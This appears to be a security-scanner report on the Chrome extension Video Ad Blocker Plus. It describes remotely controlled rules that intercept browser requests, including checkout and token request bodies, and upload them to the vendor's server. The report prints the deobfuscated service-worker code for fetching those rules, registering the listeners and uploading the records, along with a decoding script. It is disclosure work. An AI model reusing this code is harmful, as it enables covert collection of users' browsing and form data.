Is Video Ad Blocker Plus safe?

High risk

Video Ad Blocker Plus is high risk. The extension posts a fixed identifier to safe.videoadblockerplus.com for config on load. The worker stores returned rules under key wnJHT, uses each to register URL-matching listeners, and sends matches to the host's /validate endpoint.…

Video Ad Blocker Plusv1.2.7Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote Rules Control Network Data Collection

The extension posts a fixed identifier to safe.videoadblockerplus.com for config on load.

The worker stores returned rules under key wnJHT, uses each to register URL-matching listeners, and sends matches to the host's /validate endpoint.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

The extension starts and checks whether its stored remote rules are stale.

If no usable rule set is present, or the stored rule set is older than six hours, it requests a fresh configuration.

The extension did this

It applies the downloaded rules to browser network events and queues matching records for upload.

The same rule fields decide which URLs match, whether request bodies are read, and how records are queued.

Captured request
POSThttps://safe.videoadblockerplus.com/content/config

HTTP 200 responses were observed; chrome.storage.local key wnJHT was populated with a 3966-character encoded rule set.

Body
{  "sid": "a173c033f"}
Downloaded rule fields used by the service worker
  • URL pattern list
    ["https://www.example.com/*"] (illustrative)

    Lets the remote service choose which sites or request URLs are in scope for collection.

  • URL text filter
    watch|video (illustrative)

    Further narrows collection to addresses matching a downloaded expression.

  • Body-search trigger
    checkout|token (illustrative)

    Can make matching requests include submitted body data when the downloaded expression matches.

  • Allowed methods
    ["GET", "POST"] (illustrative)

    Limits collection to selected request methods, or allows all methods if the rule omits the list.

  • Queued record type
    request_parser (illustrative)

    Labels matched records so the extension can batch or merge them before sending.

The code that does this

Remote config fetch, local storage, rule registration, and upload path

Readable version

Decoded constants show the config URL, POST method, sid, one-minute check, and six-hour refresh window

deobfuscated/service_worker.js
class RemoteConfigFetcher {  start() {    this.refreshIfStale();    setInterval(() => {      this.refreshIfStale();    }, 60000);  }  async refreshIfStale() {    if (await this.shouldRefresh()) {      try {        const config = await this.fetchConfig();        if (config) {          await configStore.writeConfig(config);          this.emitConfig(config);        }      } catch (e) {      }    }  }  emitConfig(config) {    const event = new Event("OLttN");    event.config = config;    self.dispatchEvent(event);  }  async fetchConfig() {    const url = "https://safe.videoadblockerplus.com/content/config";    const body = {      sid: "a173c033f"    };    const response = await fetch(url, {      method: "POST",      body: JSON.stringify(body)    });    if (response.status === 200) {      const json = await response.json();      return json;    }    return null;  }  async shouldRefresh() {    const storedConfig = await configStore.readConfig();    if (!storedConfig) {      return await configStore.initialDelayElapsed();    }    const lastFetch = await configStore.lastFetchTime();    const age = Date.now() - lastFetch;    return age > 21600000;  }}

Decoded listener logic stores wnJHT and registers URL-pattern listeners from each rule

deobfuscated/service_worker.js
function writeConfig(config) {  return new Promise((resolve) => {    const values = {};    values.wnJHT = config;    values.pMniF = Date.now();    chrome.storage.local.set(values, () => {      resolve();    });  });}function registerRule(rule) {  const urlPatterns = rule.request_url_pattern;  const urlSearch = rule.request_url_search;  const bodySearch = rule.request_url_body_search;  const methodWhitelist = rule.request_method_whitelist;  const listener = async (details) => {    const { url, method } = details;    const eventRecord = {      wrDetails: details    };    const methodAllowed = !methodWhitelist || methodWhitelist.includes(method);    if (!methodAllowed) {      return;    }    if (urlSearch) {      const match = new RegExp(urlSearch).exec(url);      if (!match) {        return;      }    }    if (bodySearch) {      const bodyMatch = new RegExp(bodySearch).exec(url);      if (bodyMatch) {        const decodedBody = this.readRequestBody(details);        if (decodedBody && !decodedBody.error) {          eventRecord.bodyData = decodedBody;        }      }    }    await this.queueMatchedRecord(rule, eventRecord);  };  if (bodySearch) {    chrome.webRequest.onBeforeRequest.addListener(listener, {      urls: urlPatterns    }, ["requestBody"]);  } else {    chrome.webRequest.onBeforeSendHeaders.addListener(listener, {      urls: urlPatterns    }, ["extraHeaders", "requestHeaders"]);  }  return listener;}

Decoded sender posts compressed matched records to safe.videoadblockerplus.com/validate

deobfuscated/service_worker.js
async function postCompressedPayload(payload) {  try {    const headers = new Headers();    Object.entries(payload[1]).forEach(([key, value]) => {      headers.append(key, value);    });    const compressedPayload = window.PayloadCompression.compress(payload[2]);    headers.append("Content-type", "application/x-www-form-urlencoded");    headers.append("x4fs", "sdag213a");    const response = await fetch(payload[0], {      method: "POST",      body: compressedPayload,      headers    });    const sessionId = response.headers.get("x-session-id");    if (sessionId) {      const event = new Event("settings-event");      event.settings = sessionId;      self.dispatchEvent(event);    }    const responseText = await response.text();    chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {      const tabId = tabs[0].id;      sendMessageToTab(tabId, responseText, 0);    });  } catch (e) {  }}class SenderTarget {  get destinationUrl() {    return "https://safe.videoadblockerplus.com" + "/validate";  }  headersFor(record) {    const headers = {};    if (record.hdrs) {      Object.assign(headers, record.hdrs);    }    return headers;  }}
Remote service endpoints used by this path
    • safe.videoadblockerplus.com

    Receives the configuration POST at /content/config and receives compressed matched records at /validate.

Reproduce it yourself

Decodes a wnJHT config record into readable JSON so the rule fields can be inspected.

Requires
  • Node.js 18+
decode-wnjht-config.js · js
#!/usr/bin/env nodeconst fs = require("fs");function decodeRecord(record) {  if (record && Object.prototype.hasOwnProperty.call(record, "type")) {    return record;  }  if (!record || typeof record.e !== "string") {    throw new Error("Expected a wnJHT record with an e field or an already decoded type field");  }  const rows = record.e.split("\n");  const width = rows[0] ? rows[0].length : 0;  let base64 = "";  for (let column = 0; column < width; column += 1) {    for (const row of rows) {      const value = row.charAt(column);      if (!value) {        break;      }      base64 += value;    }  }  const json = Buffer.from(base64, "base64").toString("utf8");  return JSON.parse(json);}const input = fs.readFileSync(0, "utf8").trim();if (!input) {  throw new Error("Pass the JSON value from chrome.storage.local key wnJHT on stdin");}const parsed = JSON.parse(input);const decoded = Array.isArray(parsed) ? parsed.map(decodeRecord) : decodeRecord(parsed);process.stdout.write(JSON.stringify(decoded, null, 2));process.stdout.write("\n");
How to run it
  1. 1node decode-wnjht-config.js < wnjht.json

Usage analytics sent to Google Analytics on extension install.

When the extension loads, it sends usage analytics to Google Analytics.

The request includes a persistent client ID, the extension version, browser information, and network metadata such as the user's IP address.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

The extension is installed or loaded.

The extension did this

It posts usage analytics to Google Analytics with a persistent client ID, extension version, and browser information.

Captured request
POSThttps://www.google-analytics.com/mp/collect
Body
{  "client_id": "77e42a3b-...",  "events": [    {      "name": "LIVE",      "params": {        "optin": false,        "extensionVersion": "1.2.4",        "browser": "Chrome"      }    }  ]}
Fields in the request
  • Browsing activity
    LIVE

    Analytics event names can describe extension activity that occurred during the browsing session.

  • Network address
    203.0.113.10 (illustrative)

    Google Analytics receives network metadata such as the user's IP address with the request.

Observation

Dynamic analysis observed four POST requests to the Google Analytics Measurement Protocol endpoint, including successful 204 responses. The captured payload contained a persistent client ID, extension version 1.2.4, browser Chrome, and analytics events named LIVE and EULA_PAGE_VIEW.

Updated 30 September 2026hegneaniplmfjcmohoclabblbahcbjoe